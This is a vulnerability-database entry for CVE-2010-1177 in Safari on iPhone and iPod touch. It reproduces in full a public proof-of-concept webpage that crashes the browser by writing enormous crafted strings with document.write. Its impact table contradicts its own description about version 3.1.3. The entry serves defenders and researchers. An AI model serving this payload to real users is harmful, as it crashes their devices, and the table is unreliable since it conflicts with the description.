CVE-2010-1177

critical

Published 2010-03-29 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Safari on Apple iPhone OS 3.1.3 for iPod touch allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via vectors involving document.write calls with long crafted strings.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-33811 remote osx verified text · 3 KB

Nishant Das Patnaik · 2010-03-26

Apple Safari iPhone/iPod touch - Webpage Remote Code Execution

text exploit Source: Exploit-DB

source: https://www.securityfocus.com/bid/38994/info

Apple Safari running on iPhone and iPod touch is prone to a remote code-execution vulnerability.

Successful exploits will allow an attacker to run arbitrary code in the context of the user running the application. Failed attacks may cause denial-of-service conditions.

Safari on Apple iPhone and iPod touch 3.1.3 and prior are vulnerable. 

<html> <head> <script language="JavaScript" type="Text/Javascript"> var slope = unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141"); var slope2 = unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"); var finalslope2 = expand(slope2, 49000000); var finalslope = expand(slope, 21000000); document.write(finalslope2); document.write(finalslope); function expand (slope, size) { var i = Math.ceil(Math.log(size) / Math.LN2), res = slope; do { res += res; } while (0 < --i); return res.slice(0, slope.length * size); } </script> </head> <body> </body> </html> <html><body><center><h1> Remote DoS on Safari for iPhone & iPod Touch </h1> <h2> (C) Nishant Das Patnaik </h2> </center></body></html>

OS impact

macOS Fixed 1 release

Version	Status	Fixed in
3.1.3	Not affected	—

Application impact

Vendor	Product	Versions	Fixed
apple	safari

References

CWEs

CWE-94

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